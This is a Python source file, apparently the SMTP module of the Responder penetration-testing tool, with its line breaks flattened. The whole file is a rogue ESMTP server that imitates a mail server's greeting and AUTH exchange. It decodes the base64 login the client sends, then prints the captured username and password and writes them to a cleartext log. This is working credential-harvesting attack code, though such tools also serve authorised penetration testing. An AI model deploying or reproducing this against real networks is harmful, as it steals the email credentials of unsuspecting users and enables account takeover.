#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import settings from utils import * from base64 import b64decode, b64encode from SocketServer import BaseRequestHandler from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 # ESMTP Server class class ESMTP(BaseRequestHandler): def handle(self): try: self.request.send(str(SMTPGreeting())) data = self.request.recv(1024) if data[0:4] == "EHLO": self.request.send(str(SMTPAUTH())) data = self.request.recv(1024) if data[0:4] == "AUTH": self.request.send(str(SMTPAUTH1())) data = self.request.recv(1024) if data: try: User = filter(None, b64decode(data).split('\x00')) Username = User[0] Password = User[1] except: Username = b64decode(data) self.request.send(str(SMTPAUTH2())) data = self.request.recv(1024) if data: try: Password = b64decode(data) except: Password = data print text("[SMTP] Address : %s" % color(self.client_address[0], 3)) print text("[SMTP] Username : %s" % color(Username, 3)) print text("[SMTP] Password : %s" % color(Password, 3)) WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password) ## FIXME: Close connection properly except Exception: pass